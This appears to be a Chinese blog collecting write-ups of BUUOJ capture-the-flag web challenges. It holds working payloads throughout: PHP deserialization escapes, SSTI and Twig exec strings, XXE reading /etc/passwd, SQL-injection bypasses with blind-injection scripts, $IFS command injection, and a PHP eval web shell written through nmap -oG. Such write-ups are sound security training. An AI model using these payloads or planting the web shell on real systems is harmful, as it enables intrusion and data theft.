通过正则匹配来过滤我们提交的数据,判断nickname这里判断了nickname是否为字符以及长度是否超过10,这里如果传入的nickname是一个数组,则可以绕过长度的限制。代码最后调用了update_profile函数,应该是把$user放进数据库里面。
class.php
<?php
require('config.php');
class user extends mysql{
private $table = 'users';
public function is_exists($username) {
$username = parent::filter($username);
$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);
$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}
class mysql {
private $link = null;
public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");
return $this->link;
}
public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}
public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);
在class.php中可以看到update_profile()的方法。
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);
$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
update_profile()中使用了mysql类中的filter()函数和update()函数。
filter()
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
update()
public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}
所以update.php就是对输入的参数进行过滤,然后序列化,将序列化的字符中的’和\替换为_,将select,insert,update,delete和where替换为hacker。
profile.php
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>
这里将信息反序列化,还会读取上传的文件。
config.php
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>
很明显。flag是在config.php中,所以我们要构造包含config.php的数据,利用字符串逃逸。
反序化是以”;}结束的,我们可以把”;}加到需要反序化的字符中,就可以提前结束;}之后的内容。而update.php将参数序列化,序列化的字符和长度不可控,但是我们可以利用class.php中的filter()函数。
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);
$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
这里是将’select’, ‘insert’, ‘update’, ‘delete’, ‘where’替换成’hacker’,我们写入where替换成hacker之后字符串实际的长度就+1,
因为where是5个字符,而hacker是6个字符。因此实际的长度大于序列化固定的长度(变量前面‘s’里的值)。利用反序列化字符串逃逸,反序列化时只能将字符串中nickname前面的s后面长度的字符串反序列化成功,这个是传参的时候就固定好了。
我们的目的是将”;}s:5:”photo”;s:10:”config.php”;}插入序列化的字符串里面去,这个字符串的长度是34位,所以需要构造34个where,当替换成hacker时就会多出34位将插入的字符挤出去,这样插入的字符就不是nickname的值,从而将photo的值修改为config.php,最后就会执行file_get_content(config.php)命令从而获得flag。
最后在profile.php获得flag。
参考:https://www.cnblogs.com/g0udan/p/12216207.html
[BJDCTF2020]The mystery of ip
题目提示ip,所以想到X-Forwarded-For。
修改X-Forwarded-For发现题目显示的ip值也改变了,说明是可控的。
经测试发现存在ssti注入漏洞。
执行命令,在根目录下发现flag。
使用cat /flag获得flag。
[SUCTF 2019]Pythonginx
出自2019blackhat的议题
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
题目源码,其中三个if判断语句条件都是一样的,但是每一个host的构造都是不一样的。
当URL 中出现一些特殊字符的时候,输出的结果可能不在预期
所以g按照etUrl函数写出爆破脚本即可得到我们能够逃逸的构造语句
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
except:
pass
def getUrl(url):
url=url
host=parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts=list(urlsplit(url))
host=parts[1]
if host == 'suctf.cc':
return False
newhost=[]
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1]='.'.join(newhost)
finalUrl=urlunsplit(parts).split(' ')[0]
host=parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
if __name__=='__main__':
get_unicode()
脚本是参考下方博客的。
只需要其中任意一个就能读取文件了。
题目提示我们是nginx,所以我们去读取nginx的配置文件,题目就提示了flag的位置。
构造payload:getUrl?url=file://suctf.cℂ/../../../../..//usr/fffffflag即可获得flag。
部分nginx的配置文件所在位置
配置文件存放目录:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
参考:https://www.cnblogs.com/Cl0ud/p/12187204.html
[BJDCTF2020]ZJCTF,不过如此
阅读代码发现和之前做过的[ZJCTF 2019]NiZhuanSiWei类似,直接构造payload:
?file=php://filter/convert.base64-encode/resource=next.php&text=data:text/plain;base64,SSBoYXZlIGEgZHJlYW0=
读取next.php中的内容。
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace('/(' . $re . ')/ei','strtolower("\1")',$str);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
base64解码后获得next.php得内容。
本题考查的是preg_replace /e模式下存在的命令执行漏洞。
所以不能直接构造\S*=${system(‘ls’)},因为传参数会被替换掉,但是getFlag()函数中有@eval($_GET[‘cmd’]);可以传参数执行命令。
详情见参考,所以构造payload:
next.php?\S*=${getFlag()}&cmd=system("cat /flag");
即可获得flag。
参考:https://xz.aliyun.com/t/2557
[ASIS 2019]Unicorn shop
打开源码,看到提示,说utf-8很重要。
输入的价格数字为两位以上会报错,说明价格只能为0-9,所以前三个独角兽都能买,但最后一个独角兽价格很高,可以猜测买最后一个就有flag。
所以需要找到一个字符,而且这个字符比1337大才行。
所以这题考查的是utf-8编码的安全转换问题。
https://www.compart.com/en/unicode/
在这个网站直接输入thousand查找。
只要找到一个Numeric Value大于1337的字符就可以了。
将0x换成%,然后以价格的方式输入从而获得flag。
[NCTF2019]Fake XML cookbook
题目给出了XML,所以这题应该是XML的漏洞,查了一下,这题考查的是XXE漏洞,XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞。
抓包发现username和password都是xml格式。
构造payload:
<?xml version = "1.0"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>
成功显示文件的内容。
然后读取flag。
参考:
https://www.freebuf.com/vuls/175451.html
[SWPU2019]Web1
看了wp才知道这题是SQL注入,输入广告名为1’,查看广告名是报错,可见广告名处存在SQL注入漏洞。
经测试发现#和–都被过滤了,空格会被替换为空,所以使用’将后面的’闭合,使用/**/
绕过空格。
使用1'/**/'
页面恢复正常,or也被过滤了,所以只能手动探测列数。
经测试发现,有22列。
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
因为or被过滤,所以不能使用information_schema库。
但这题可以利用另外一个方法,mysql无列名注入。
但这题用sys.schema_auto_increment_columns
显示没有这个表,找了一下,发现mysql.innodb_table_stats
可以使用。
构造payload:
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
获得表名。
由于`被过滤了,所以使用别名来代替。
构造payload:
-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
发现就已经得到flag了。
参考:https://zhuanlan.zhihu.com/p/98206699
https://www.cnblogs.com/20175211lyz/p/12184867.html
[CISCN 2019 初赛]Love Math
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
show_source(__FILE__);
}else{
//例子 c=20-1
$content = $_GET['c'];
if (strlen($content) >= 80) {
die("太长了不会算");
}
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("请不要输入奇奇怪怪的字符");
}
}
//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $whitelist)) {
die("请不要输入奇奇怪怪的函数");
}
}
//帮你算出答案
eval('echo '.$content.';');
}
题目源码。
代码并不复杂,但是只能用题目所给的数学函数构造。
一种payload是:
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag
解释:
base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET" //hex2bin将一串16进制数转换为二进制字符串
($$pi){pi}(($$pi){abs}) => ($_GET){pi}(($_GET){abs}) //{}可以代替[]
其余方法见参考。
参考:https://www.cnblogs.com/wangtanzhi/p/12246731.html
[BJDCTF2020]Cookie is so stable
因为49=49
所以这里是twig.
所以构造payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
成功执行,回显id。
最后构造payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
获得flag
参考:https://zhuanlan.zhihu.com/p/28823933
[WesternCTF2018]shrine
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')//注册一个名为FLAG的config,猜测就是flag。
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s//把黑名单的东西遍历并设为空。
return flask.render_template_string(safe_jinja(shrine))//进行模块渲染
if __name__ == '__main__':
app.run(debug=True)
题目给出了源码。
代码中有jinjia的字样,而且导入了flask模块,所以可以猜测是flask/jinja2模板注入,经测试果然是jinja2模板注入。
利用tplmap这个工具进行检测是否有模板注入漏洞
题目将config过滤了,所以不能使用 /shrine/
,不过python还有一些内置函数,比如 url_for
和 get_flashed_messages。
利用 /shrine/
看到所有app的config。
这里面有一个current_app就是当前app的意思。
flag就在当前app的config中。
另外一种就是用get_flashed_messages。
同样可以获得flag。
参考:https://www.cnblogs.com/wangtanzhi/p/12238779.html
[网鼎杯 2020 朱雀组]phpweb
进去看到页面出现警告,并且显示的时间一直在改变。
抓包可以看到post了两个参数,可以知道func的是函数,p是该函数的参数,所以是运行上传的函数。
尝试运行eval(system(‘ls’)),发现被检测出来了。试一下读取题目的源码。
使用file_get_contents(index.php)读取到题目的源码。
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
即可看到题目源码。
审计代码可以感觉到本题很像反序列的题。而且本题只是对func进行了过滤,并没有对p进行过滤,所以想到把命令序列化后上传给p,func上传unserialize。
构造payload:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
发现执行成功。
经查找,在tmp发现带flag的文件,所以flag应该在这里。
从而获得flag。
[BJDCTF 2nd]简单注入
发现题目有robots.txt文件。给的提示是hint.txt。
题目给了SQL语句的形式。
测试发现=和like都被过滤了。尝试payload:
username=admin\&password=1#
页面发生变化。SQL语句变为:
select * from users where username='admin\' and password='or 1#';
其中第二个’被\转义掉,所以admin后面的’会被认为是字符串,而不是将单引号括起来的单引号,所以成功绕过。
参考别人的二分脚本:
import requests
url = "http://78fef60f-0aab-4f37-a6ad-f381989f1198.node3.buuoj.cn/index.php"
data = {"username":"admin\\","password":""}
result = ""
i = 0
while( True ):
i = i + 1
head=32
tail=127
while( head < tail ):
mid = (head + tail) >> 1
payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)
data['password'] = payload
r = requests.post(url,data=data)
if "stronger" in r.text :
head = mid + 1
else:
tail = mid
last = result
if head!=32:
result += chr(head)
else:
break
print(result)
最后跑出密码为:OhyOuFOuNdit,登录后获得flag。
参考:https://www.cnblogs.com/h3zh1/p/12669345.html
[安洵杯 2019]easy_serialize_php
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
implode:将一个一维数组的值转化为字符串。
unset() 函数用于销毁给定的变量。
代码说能在phpinfo中找到一点东西,所以找了下,估计这就是flag的文件名。最后有一个file_get_contents函数,想着利用这个函数读取d0g3_f1ag.php,从这个函数逆推回去$userinfo[“img”]的值,发现值是可控的,但是会经过sha1加密,而题目并没有sha1解密,所以就不能读取文件。
本题考查的是php反序化的对象逃逸。
构造payload:
_SESSION[phpflag]=;s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
序列化后:
a:2:{s:7:"";s:54:";s:7:"xxxxxxx";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
后面将多余的img截掉,前面”;s:54:为键,xxxxxxx为值,然后成功修改img的值为d0g3_f1ag.php,从而成功读取到php文件的内容。
发现flag在 /d0g3_fllllllag
。
接着构造payload:
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
即可获得flag。
参考:https://www.cnblogs.com/wangtanzhi/p/12261610.html
[BSidesCF 2020]Had a bad day
从页面后面的 ?category=woofers
可以猜测本题为文件包含,尝试构造伪协议读取源码:
?category=php://filter/convert.base64-encode/resource=index.php
根据错误可知包含文件时在index.php后面又加了.php,所以发生了错误。改为resource=index即可读出源码。
<?php
$file = $_GET['category'];
if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
从代码里可知,我们可以读取index.php,但是不能直接读取flag.php。
使用 ?category=woofers/../flag
发现flag.php确实被包含了。
php://filter伪协议是可以套一层协议的,所以可以利用这一点来读取flag。
构造payload:
?category=php://filter/convert.base64-encode/resource/index/resource=flag
成功获得flag。
参考:https://blog.csdn.net/mochu7777777/article/details/105204141
[WUSTCTF2020]朴实无华
一进去,题目就提到了文件头。
扫描发现有robots.txt文件。
User-agent: *
Disallow: /fAke_f1agggg.php
robots.txt给出提示。
抓包,在响应头上发现提示 /fl4g.php
。
打开是乱码,使用charset修改编码为unicode即显示正常。
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
输入1e10时inteval(‘1e10’)为1,inteval(‘1e10’+1)=1410065409成功绕过。
第二关需要输入的为0e开头并且md5加密后也是0e开头的md5值,找了一下,0e215962017符合条件。
用ls命名看一下flag文件的名字,第三关过滤了cat,可以用tac,head,more绕过。过滤了空格,使用${IFS}$绕过,但是${IFS}$不行,所以使用$IFS$1绕过。
payload:
?num=1e10&md5=0e215962017&get_flag=tac$IFS$1fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[极客大挑战 2019]FinalSQL
经测试发现注入点是在search.php中id的参数上。使用异或发现题目显示有区别,而且题目提示了SQL盲注。
盲注脚本:
#然后是二分法,二分法要快很多:
# -*- coding: UTF-8 -*-
import re
import requests
import string
url = "http://a7512037-44d3-449c-ae7f-54e751d21b0d.node3.buuoj.cn/search.php"
flag = ''
def payload(i,j):
# sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)#数据库名字
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j) #表名
# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)#列名
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1"%(i,j)
data = {"id":sql}
r = requests.get(url,params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1,10000) :
print(i,':')
low = 31
high = 127
while low <= high :
mid = (low + high) // 2
res = payload(i,mid)
if res :
low = mid + 1
else :
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)
exp()
print('flag=',flag)
经过一段时间,就跑出了flag。
参考:https://www.cnblogs.com/wangtanzhi/p/12305052.html
[MRCTF2020]PYWebsite
查看源码发现有一段代码,但是是前端验证,并没有什么用,而且md5也解不出来,但是发现有flag.php,访问一下。
题目说保存了购买者的IP,而且说除了购买者和我自己,没人能看到flag。
修改ip后获得flag。
[网鼎杯 2020 朱雀组]Nmap
和[BUUCTF 2018]Online Tool类似,就是构造 ' <?php @eval($_POST["hack"]);?> -oG hack.php '
scan后显示hacker,说明被检测出来了。经检查发现是过滤了php。
所以重新构造一下payload:
' <?= @eval($_POST["hack"]);?> -oG hack.phtml '
使用phtml绕过html检测。
上传成功后就能访问该文件了。用蚁剑连接。
在根目录下发现flag。
[CISCN2019 华北赛区 Day1 Web2]ikun
本文链接:https://devildragons.github.io/2020/06/09/BUUOJ%20CTF/